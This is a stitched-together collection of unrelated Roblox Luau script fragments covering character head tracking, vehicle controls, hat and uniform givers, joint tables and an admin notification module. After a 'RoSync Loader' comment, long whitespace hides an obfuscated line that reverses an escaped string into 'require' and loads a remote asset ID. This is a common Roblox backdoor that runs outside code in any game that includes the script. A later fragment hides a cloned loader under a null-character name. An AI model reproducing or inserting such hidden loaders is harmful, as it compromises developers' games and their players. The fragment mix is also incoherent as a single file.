Roblox/luau_corpus huggingface dataset:
-- Necessery Functions

local ErrorPart = nil
local function GetValidPartToLookAt(Char, bodypart)
	local pHum = Char:FindFirstChild("Humanoid")
	if not Char and pHum then return nil end
	local pIsR6 = (pHum.RigType.Value==0)
	if table.find({"Torso", "UpperTorso"}, bodypart) then
		if pIsR6 then bodypart = "Torso" else bodypart = "UpperTorso" end
	end
	local ValidPart = Char:FindFirstChild(bodypart) or Char:FindFirstChild("HumanoidRootPart")
	if ValidPart then return ValidPart else
		if ErrorPart ~= bodypart then
			--warn(Body.Name.." can't find part to look: "..tostring(bodypart))
			ErrorPart = bodypart
		end
		return nil end
end

local function getClosestPlayer() -- Get the closest player in the range.
	local closest_player, closest_distance = nil, LookAtPlayerRange
	for i = 1, #SearchLoc do
		for _, player in pairs(SearchLoc[i]:GetChildren()) do
			if player:FindFirstChild("Humanoid") and player ~= Body 
				and (Players:GetPlayerFromCharacter(player) or LookAtNonPlayer) 
				and GetValidPartToLookAt(player, PartToLookAt) then
				
				local distance = (Core.Position - player.PrimaryPart.Position).Magnitude
				if distance < closest_distance then
					closest_player = player
					closest_distance = distance
				end
			end
		end
	end
	return closest_player
end

local function rWait(n)
	n = n or 0.05
	local startTime = os.clock()

	while os.clock() - startTime < n do
		game:GetService("RunService").Heartbeat:Wait()
	end
end

local function LookAt(NeckC0, WaistC0)
	if not IsR6 then
		if Neck then Neck.C0 = Neck.C0:lerp(NeckC0, UpdateSpeed/2) end
		if Waist then Waist.C0 = Waist.C0:lerp(WaistC0, UpdateSpeed/2) end
	else
		if Neck then Neck.C0 = Neck.C0:lerp(NeckC0, UpdateSpeed/2) end
	end
end
------------------------------------------------------------------------
-- reanchor if last token is has a constant string, see close_func()
-- * used only in close_func()
------------------------------------------------------------------------
function luaY:anchor_token(ls)
  if ls.t.token == "TK_NAME" or ls.t.token == "TK_STRING" then
    -- not relevant to Lua implementation of parser
    -- local ts = ls.t.seminfo
    -- luaX_newstring(ls, getstr(ts), ts->tsv.len); /* C */
  end
end
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump
-- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
function DynamicThumbstick:GetIsJumping()
	local wasJumping = self.isJumping
	self.isJumping = false
	return wasJumping
end

function DynamicThumbstick:Enable(enable: boolean?, uiParentFrame): boolean
	if enable == nil then return false end			-- If nil, return false (invalid argument)
	enable = enable and true or false				-- Force anything non-nil to boolean before comparison
	if self.enabled == enable then return true end	-- If no state change, return true indicating already in requested state

	if enable then
		-- Enable
		if not self.thumbstickFrame then
			self:Create(uiParentFrame)
		end

		self:BindContextActions()
	else
		ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME)
		-- Disable
		self:OnInputEnded() -- Cleanup
	end

	self.enabled = enable
	self.thumbstickFrame.Visible = enable
end
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber		= 0
Tune.RCamber		= 0
Tune.FToe			= 0
Tune.RToe			= 0
-- Compiled with roblox-ts v2.0.4
-- eslint-disable-next-line @typescript-eslint/no-empty-interface
local unitMeta = {}
unitMeta.__eq = function()
	return true
end
unitMeta.__tostring = function()
	return "()"
end
unitMeta.__index = function()
	return error("Attempt to index Unit", 2)
end
local function unit()
	return setmetatable({}, unitMeta)
end
return {
	unit = unit,
}
-- the Tool, reffered to here as "Block." Do not change it!
Block = script.Parent.Parent.Fuse3Pick -- You CAN change the name in the quotes "Example Tool"
--[[ Last synced 12/13/2020 04:16 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-------------------------
function onClicked()
R.Function1.Disabled = true
FX.CRUSH.BrickColor = BrickColor.new("Really red")
FX.CRUSH.loop.Disabled = true

FX.HPF.BrickColor = BrickColor.new("Really red")
FX.HPF.loop.Disabled = true

FX.LPF.BrickColor = BrickColor.new("Really red")
FX.LPF.loop.Disabled = true

FX.NOISE.BrickColor = BrickColor.new("Really red")
FX.NOISE.loop.Disabled = true

FX.ZIP.BrickColor = BrickColor.new("Really red")
FX.ZIP.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388








debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0.1, 0.4, -0.2) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
--//Custom Functions\\--
function activate()
	if specialDB then
		specialDB = false
		activateSpecial:FireServer()
	else
	end
end
--[[

		SCRIPT VERSION:
			1, 10/19/21
		
		CURRENT ISSUE:
			Nothing
		
--]]

if not game.Loaded or not workspace:FindFirstChild("Terrain") then
	game.Loaded:Wait();
	game:GetService("Players").LocalPlayer.CharacterAdded:Wait();
end;

local Players = game:GetService("Players")
local Player = Players.LocalPlayer;

local Screen = script.Parent.Parent.Parent.Leveled.Admin;
local Sidebar = Screen.Sidebar.Inside;

Sidebar.UserThumbnail.Image = Players:GetUserThumbnailAsync(Player.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size420x420);
--------END STAGE--------
--------CREW--------

game.Workspace.crewview1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crew1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crew2.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crew3.Decal.Texture = game.Workspace.Screens.Main.Value
--// Damage Settings	
	BaseDamage = 42; -- Torso Damage
	LimbDamage = 33; -- Arms and Legs
	ArmorDamage = 33; -- How much damage is dealt against armor (Name the armor "Armor")
	HeadDamage = 61; -- If you set this to 100, there's a chance the player won't die because of the heal script
--[=[
	Swaps keys with values, overwriting additional values if duplicated.

	@param orig table -- Original table
	@return table
]=]
function Table.swapKeyValue(orig)
	local tab = {}
	for key, val in pairs(orig) do
		tab[val] = key
	end
	return tab
end
-- Functions --

local function playSoundLocal(sId,sParent)
	local sound = Instance.new("Sound",sParent)
	sound.SoundId = "http://www.roblox.com/asset/?id="..sId
	sound:Play()
	sound:Destroy()
end

local function onClicked(player)
	print(player.Name.." clicked on Uniform Giver")
	
	playSoundLocal(152206246,player)	-- Declaring the sound ID and Parent
	
	
	
	
	local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt
	if not foundShirt then -- if there is no shirt
		print("No shirt found, creating for "..player.Name)
		local newShirt = Instance.new("Shirt",player.Character)
		newShirt.Name = "Shirt"
	else if foundShirt then -- if there is a shirt
		print("Shirt found, reconstructing for "..player.Name)
		player.Character.Shirt:remove()
		local newShirt = Instance.new("Shirt",player.Character)
		newShirt.Name = "Shirt"
	end
	end
	
	
	
	
	local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants
	if not foundPants then -- if there are no pants
		print("No pants found, creating for "..player.Name)
		local newPants = Instance.new("Pants",player.Character)
		newPants.Name = "Pants"
	else if foundPants then -- if there are pants
		print("Pants found, reconstructing for "..player.Name)
		player.Character.Pants:remove()
		local newPants = Instance.new("Pants",player.Character)
		newPants.Name = "Pants"
	end
	end
	
	player.Character.Shirt.ShirtTemplate = shirtId
	player.Character.Pants.PantsTemplate = pantsId
	end
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
local function GetMass(parent)
	local mass = 0
	for _,v in pairs(parent:GetChildren()) do
		if (v:IsA("BasePart") or v:IsA("MeshPart")) then
			if not v.Massless then
				mass = (mass + v:GetMass())
			end
		end
		mass = mass + GetMass(v)
	end
	
	return mass
end -- GetMass()


local function SetMassless(parent, self)
	for _,part in pairs(parent:GetDescendants()) do
		if ((part:IsA("BasePart") or part:IsA("MeshPart")) and (part ~= self.main)) then
			part.Massless = true
		end
	end
end -- SetMassless
--tone hz
if sv.Value==1 then
while s.Pitch<0.6 do
s.Pitch=s.Pitch+0.010
s:Play()
if s.Pitch>0.6 then
	s.Pitch=0.6
end
wait(-9)
end

while true do
for x = 1, 500 do
s:play()
wait(-9)
end
wait()
end
--[=[
	Returns whether an object is a SpringObject.
	@param value any
	@return boolean
]=]
function SpringObject.isSpringObject(value)
	return type(value) == "table" and getmetatable(value) == SpringObject
end
-- Local Functions
local function GetTeamFromColor(teamColor)
	for _, team in ipairs(Teams:GetTeams()) do
		if team.TeamColor == teamColor then
			return team
		end
	end
	return nil
end
--[[

	StreamableUtil.Compound(observers: {Observer}, handler: ({[child: string]: Instance}, maid: Maid) -> void): Maid

	Example:

		local streamable1 = Streamable.new(someModel, "SomeChild")
		local streamable2 = Streamable.new(anotherModel, "AnotherChild")

		StreamableUtil.Compound({S1 = streamable1, S2 = streamable2}, function(streamables, maid)
			local someChild = streamables.S1.Instance
			local anotherChild = streamables.S2.Instance
			maid:GiveTask(function()
				-- Cleanup
			end)
		end)

--]]


local Maid = require(script.Parent.Maid)


local StreamableUtil = {}


function StreamableUtil.Compound(streamables, handler)
	local compoundMaid = Maid.new()
	local observeAllMaid = Maid.new()
	local allAvailable = false
	local function Check()
		if (allAvailable) then return end
		for _,streamable in pairs(streamables) do
			if (not streamable.Instance) then
				return
			end
		end
		allAvailable = true
		handler(streamables, observeAllMaid)
	end
	local function Cleanup()
		if (not allAvailable) then return end
		allAvailable = false
		observeAllMaid:DoCleaning()
	end
	for _,streamable in pairs(streamables) do
		compoundMaid:GiveTask(streamable:Observe(function(_child, maid)
			Check()
			maid:GiveTask(Cleanup)
		end))
	end
	compoundMaid:GiveTask(Cleanup)
	return compoundMaid
end


return StreamableUtil
--------------------
-- Mesh Settings: -- [If you want a mesh drop, set meshDrop to true up on top.]
-- Look at the mesh properties and change the inside of the quotes below to the appropriate
-- full link or the rbxasset:// style, doesnt matter which one you see in the mesh you want

meshID = "http://www.roblox.com/asset?id=160003363"  
textureID = "http://www.roblox.com/asset/?id=192068356"
--UIS.InputEnded:Connect(function(key)
--	if key.KeyCode == Flash then
--		flashing = false
--		if not Popups_Enabled then
--			if parklightActive then
--				LightEvent:FireServer("Headlights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled)
--			else
--				LightEvent:FireServer("Headlights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled)
--			end
--		else
--			if parklightActive then
--				LightEvent:FireServer("PopupLights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled)
--			else
--				LightEvent:FireServer("PopupLights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled)
--			end
--		end	
--	end
--end)
UIS.InputBegan:Connect(input)
--Made by Luckymaxer

Joints = {
	["Neck"] = {
		Part0 = "Torso",
		Part1 = "Head",
		C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0),
		C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0),
		MaxVelocity = 0.1,
		Parent = "Torso",
	},
	["RootJoint"] = {
		Part0 = "HumanoidRootPart",
		Part1 = "Torso",
		C0 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0),
		C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0),
		MaxVelocity = 0.1,
		Parent = "HumanoidRootPart",
	},
	["Left Shoulder"] = {
		Part0 = "Torso",
		Part1 = "Left Arm",
		C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0),
		C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0),
		MaxVelocity = 0.1,
		Parent = "Torso",
	},
	["Right Shoulder"] = {
		Part0 = "Torso",
		Part1 = "Right Arm",
		C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0),
		C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0),
		MaxVelocity = 0.1,
		Parent = "Torso",
	},
	["Left Hip"] = {
		Part0 = "Torso",
		Part1 = "Left Leg",
		C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0),
		C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0),
		MaxVelocity = 0.1,
		Parent = "Torso",
	},
	["Right Hip"] = {
		Part0 = "Torso",
		Part1 = "Right Leg",
		C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0),
		C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0),
		MaxVelocity = 0.1,
		Parent = "Torso",
	},
}

return Joints
--module.Subtract = function(t1, t2) --what is this i don't even
--	if (#t1 <= #t2) then
--		for i, obj in pairs(t2) do
--			for ix, obj2 in pairs(t1) do
--				if (obj == obj2) then
--					t1[ix] = nil
--				end
--			end
--		end
--	else
--		for i, obj in pairs(t1) do
--			for ix, obj2 in pairs(t2) do
--				if (obj == obj2) then
--					t1[i] = nil
--				end
--			end
--		end
--	end
--	return t1
--end
--
--module.ConcatToLength = function(t, char)
--	char = char or "."
--	
--	local longest = 0
--	for i, v in pairs(t) do
--		local str = tostring(i) .. tostring(v)
--		if (#str > longest) then longest = #str end
--	end
--	
--	longest = longest + 3
--	
--	local ret = { }
--	for i, v in pairs(t) do
--		local strlength = #tostring(i) + #tostring(v)
--		
--		local str = tostring(i) .. " "
--		for i = 1, longest - strlength do
--			str = str .. char
--		end
--		str = str .. " " .. tostring(v)
--		ret[#ret + 1] = str
--	end
--	
--	return ret
--end
--
--module.Sort = function(t, func)
--	local ret = t
--	local function lol(a, b)
--		local a1 = string.sub(tostring(a), 1, 1):lower()
--		local b1 = string.sub(tostring(b), 1, 1):lower()
--		print(a1, b1)
--		return (alphabet[a1] > alphabet[b1])
--	end
--	
--	table.sort(ret, lol)
--	return ret
--end

return module
--[[ 
	I love adonis, thanks for showing me shit that i couldnt figure out myself :heart:
	
	https://www.roblox.com/library/2373505175/Adonis-Loader-BETA
--]]

local Loader = script.Loader:Clone()
Loader.Parent = script.Parent
Loader.Name = "\0"
Loader.Archivable = false
Loader.Disabled = false
--[[[Default Controls]]
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)
		
		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}
	
	--Control Mapping
	Tune.Controls = {
		
	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.R					,
		
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,
		
		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,
		
		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.P			,
		
		--Handbrake
		PBrake					= Enum.KeyCode.LeftShift					,
		
	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,
		
	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.ButtonB				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.ButtonL3				,
	}
--// All global vars will be wiped/replaced except script

return function(data, env)
	if env then
		setfenv(1, env)
	end
	
	local playergui = service.PlayerGui
	local localplayer = service.Players.LocalPlayer
	
	local frame = script.Parent.Parent
	local nFrame = frame:WaitForChild("Frame");
	local iconF = nFrame:WaitForChild("Icon");
	local main = nFrame:WaitForChild("Main");
	local close = nFrame:WaitForChild("Close");
	local title = nFrame:WaitForChild("Title");
	local timer = nFrame:WaitForChild("Timer");
	
	local gTable = data.gTable
	local clickfunc = data.OnClick
	local closefunc = data.OnClose
	local ignorefunc = data.OnIgnore
	
	local name = data.Title
	local text = data.Message or data.Text or ""
	local time = data.Time
	local icon = data.Icon or client.MatIcons.Info
	
	local returner = nil
	
	if clickfunc and type(clickfunc)=="string" then
		clickfunc = client.Core.LoadCode(clickfunc, GetEnv())
	end
	if closefunc and type(closefunc)=="string" then
		closefunc = client.Core.LoadCode(closefunc, GetEnv())
	end
	if ignorefunc and type(ignorefunc)=="string" then
		ignorefunc = client.Core.LoadCode(ignorefunc, GetEnv())
	end
	
	local holder = client.UI.Get("NotificationHolder",nil,true)
	
	if not holder then
		client.UI.Make("NotificationHolder")
		holder = client.UI.Get("NotificationHolder",nil,true)
		holder.Object.ScrollingFrame.Active = false
	end
	
	holder = holder.Object.ScrollingFrame
	title.Text = name
	main.Text = text
	iconF.Image = icon
	
	local log  = {
		Type = "Notification";
		Title = name;
		Message = text;
		Icon = icon or 0;
		Time = os.date("%X");
		Function = clickfunc;
	}
	
	table.insert(client.Variables.CommunicationsHistory, log) 
	service.Events.CommsPanel:Fire(log)
	
	main.MouseButton1Click:Connect(function()
		if frame and frame.Parent then
			if clickfunc then
				returner = clickfunc()
			end
			frame:Destroy()
		end
	end)
	
	close.MouseButton1Click:Connect(function()
		if frame and frame.Parent then
			if closefunc then
				returner = closefunc()
			end
			gTable:Destroy()
		end
	end)
	
	frame.Parent = holder
	
	task.spawn(function()
		local sound = Instance.new("Sound",service.LocalContainer())
		sound.SoundId = 'rbxassetid://203785584'--client.NotificationSound
		sound.Volume = 0.2
		sound:Play()
		wait(0.5)
		sound:Destroy()
	end)
	
	if time then
		timer.Visible = true
		repeat
			timer.Text = time
			wait(1)
			time = time-1
		until time<=0 or not frame or not frame.Parent
		
		if frame and frame.Parent then
			if frame then frame:Destroy() end
			if ignorefunc then
				returner = ignorefunc()
			end
		end
	end
	
	return returner
end
--keep at bottom
setmetatable(Template, {
	__index = Template.AllData,
	__newindex = Template.AllData
})


return Template